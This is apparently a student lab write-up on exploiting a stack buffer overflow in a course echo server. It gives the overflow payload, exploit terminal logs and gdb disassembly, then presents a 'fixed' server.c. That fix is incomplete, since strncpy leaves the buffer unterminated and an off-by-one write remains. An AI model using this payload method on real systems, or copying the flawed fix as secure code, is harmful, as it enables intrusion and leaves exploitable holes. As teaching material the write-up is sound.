1. Explanation
    a. Below is a copy of my modified server.c. The vulnerability in the previous server.c was the strcpy function. In the strcpy function the function seeks the '\0' character for the string end and copies the values into the buffer. However, the buffer is only size of 5. So if we input a larger string we can overflow the buffer and push strcpy to go to the right stack frame and change the register of the return address to be the function we want it to be. Down below is the specially string I used (which had 56 A's + the address of the secrectFunction) to get to the secret function(explanation of how why I choose this string is on page 4). I fixed this by changing the function to be strncpy which forces the programmer to write the size of how many char to put in. I changed this to MAX_DATA_SIZE. The change in the code is highlight in yellow on page 3.

2. Modified Server code

```
/*
/ file : server.c
/----------------------------------------
/ This is a server socket program that echos recieved messages
/ from the client.c program.  Run the server on one of the ECN
/ machines and the client on your laptop.
*/

// For compiling this file:
//       Linux:            gcc server.c -o server
//       Solaris:          gcc server.c -o server -lsocket

// For running the server program:
//
//              server 9000
//
// where 9000 is the port you want your server to monitor.  Of course,
// this can be any high-numbered that is not currently being used by others.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>

#define MAX_PENDING 10    /* maximun # of pending for connection */
#define MAX_DATA_SIZE 5

int DataPrint(char *recvBuff, int numBytes);
char* clientComm(int clntSockfd,int * senderBuffSize_addr, int * optlen_addr);

int main(int argc, char *argv[])
{
   if (argc < 2) {
   fprintf(stderr,"ERROR, no port provided\n");
   exit(1);
   }
   int PORT = atoi(argv[1]);
```

```
    int senderBuffSize;
    int servSockfd, clntSockfd;
    struct sockaddr_in sevrAddr;
    struct sockaddr_in clntAddr;
    int clntLen;
    socklen_t optlen = sizeof senderBuffSize;

    /* make socket */
    if ((servSockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("sock failed");
        exit(1);
    }

    /* set IP address and port */
    sevrAddr.sin_family = AF_INET;
    sevrAddr.sin_port = htons(PORT);
    sevrAddr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(sevrAddr.sin_zero), 8);

    if (bind(servSockfd, (struct sockaddr *)&sevrAddr,
                sizeof(struct sockaddr)) == -1) {
        perror("bind failed");
        exit(1);
    }

    if (listen(servSockfd, MAX_PENDING) == -1) {
        perror("listen failed");
        exit(1);
    }

    while(1) {
        clntLen = sizeof(struct sockaddr_in);
        if ((clntSockfd = accept(servSockfd, (struct sockaddr *) &clntAddr, &clntLen)) == -1) {
            perror("accept failed");
            exit(1);
        }

        printf("Connected from %s\n", inet_ntoa(clntAddr.sin_addr));

        if (send(clntSockfd, "Connected!!!\n", strlen("Connected!!!\n"), 0) == -1) {
            perror("send failed");
            close(clntSockfd);
            exit(1);
        }

        /* repeat for one client service */
        while(1) {
            free(clientComm(clntSockfd, &senderBuffSize, &optlen));
        }

        close(clntSockfd);
        exit(1);
    }
}
```

```
char * clientComm(int clntSockfd,int * senderBuffSize_addr, int * optlen_addr){
   char *recvBuff; /* recv data buffer */
   int numBytes = 0;
   char str[MAX_DATA_SIZE];
   /* recv data from the client */
   getsockopt(clntSockfd, SOL_SOCKET,SO_SNDBUF, senderBuffSize_addr, optlen_addr); /* check sender buffer
size */
   recvBuff = malloc((*senderBuffSize_addr) * sizeof (char));

   if ((numBytes = recv(clntSockfd, recvBuff, *senderBuffSize_addr, 0)) == -1) {
      perror("recv failed");
      exit(1);
   }

   recvBuff[numBytes] = '\0';
   if(DataPrint(recvBuff, numBytes)){
      fprintf(stderr,"ERROR, no way to print out\n");
      exit(1);
   }

   strncpy(str, recvBuff, MAX_DATA_SIZE);

   /* send data to the client */
   if (send(clntSockfd, str, strlen(str), 0) == -1) {
      perror("send failed");
      close(clntSockfd);
      exit(1);
   }


   return recvBuff;
}

void secretFunction(){
   printf("You weren't supposed to get here!\n");
   exit(1);
}

int DataPrint(char *recvBuff, int numBytes) {
   printf("RECEIVED: %s", recvBuff);
   printf("RECEIVED BYTES: %d\n\n", numBytes);
   return(0);
}
```

3. String used to hack the stack frame with buffer overflow.

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x0d\x40\x00
```

```
              56 A's                                    address of secret Func.
```

Pictured below is how it was performed.

```
snehamahapatra — ssh mahapat0@shay.ecn.purdue.edu — 147×44
~ — ssh mahapat0@shay.ecn.purdue.edu | ~ — ssh mahapat0@shay.ecn.purdue.edu | ...ktop/Spring2020/404_ECE/Homework10 — -bash
-bash-4.1$ vim client.c
-bash-4.1$ gcc -g client.c -o client0
-bash-4.1$ ./client0 127.0.0.1
connect failed: Connection refused
-bash-4.1$ vim client.c
-bash-4.1$ gcc -g client.c -o client0
-bash-4.1$ ./client0 127.0.0.1
Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc9\x0d\x40\x00
@ou Said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
Say something: 
```

```
 1145  rm core.263505
 1146  rm core.263606
 1147  rm core.263730
 1148  rm core.263912
 1149  rm core.264121
 1150  rm core.264168
 1151  clear
 1152  ls
 1153  rm core.264384
 1154  rm core.264444
 1155  rm core.264597
 1156  rm core.264968
 1157  clear
 1158  ls
 1159  history
-bash-4.1$ !1122
./server0 7778
bind failed: Address already in use
-bash-4.1$ ./server0 7777
^C
-bash-4.1$ ./server0 7778
bind failed: Address already in use
-bash-4.1$ ./server0 7777
Connected from 127.0.0.1
@RECEIVED BYTES: 59AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?

You weren't supposed to get here!
-bash-4.1$ 
```

I figured out the string by looking at disas secretFunction and clientComm disassembly starting at strcpy. Disas secrect function shows where the starting address of the function is which is \xc9\x0d\x40\x00. Then I looked at clientComm. knew I had to get to get to a mov function that

was called before the exit function. Because if it exits, it will exit the program before it has a chance to get to the secret function. I used gdb in the server and put break points at secret function and checked the stack frame. I knew that the calls [278,283] would be the place where I should overflow to but I didn't know exactly where. So, I tried gdb with different number of A's. I knew first I had to have 5 A's to first fill up the buffer. And then I had to get to callq so I added first 50 A's. When trying 55 A's I still seg faulted. When I added 56 A's then it worked.

```
Dump of assembler code for function clientComm:
0x0000000000400dc7 <+228>: callq  0x4008e0 <strcpy@plt>
0x0000000000400dcc <+233>: lea    -0x20(%rbp),%rax
0x0000000000400dd0 <+237>: mov    %rax,%rdi
0x0000000000400dd3 <+240>: callq  0x400910 <strlen@plt>
0x0000000000400dd8 <+245>: mov    %rax,%rdx
0x0000000000400ddb <+248>: lea    -0x20(%rbp),%rsi
0x0000000000400ddf <+252>: mov    -0x24(%rbp),%eax
---Type <return> to continue, or q <return> to quit---
0x0000000000400de2 <+255>: mov    $0x0,%ecx
0x0000000000400de7 <+260>: mov    %eax,%edi
0x0000000000400de9 <+262>: callq  0x400930 <send@plt>
0x0000000000400dee <+267>: cmp    $0xffffffffffffffff,%rax
0x0000000000400df2 <+271>: jne    0x400e12 <clientComm+303>
0x0000000000400df4 <+273>: mov    $0x400f6e,%edi
0x0000000000400df9 <+278>: callq  0x4009c0 <perror@plt>
0x0000000000400dfe <+283>: mov    -0x24(%rbp),%eax
0x0000000000400e01 <+286>: mov    %eax,%edi
0x0000000000400e03 <+288>: callq  0x400950 <close@plt>
---Type <return> to continue, or q <return> to quit---
0x0000000000400e08 <+293>: mov    $0x1,%edi
0x0000000000400e0d <+298>: callq  0x400a00 <exit@plt>
0x0000000000400e12 <+303>: mov    -0x10(%rbp),%rax
0x0000000000400e16 <+307>: leaveq
0x0000000000400e17 <+308>: retq
End of assembler dump.
```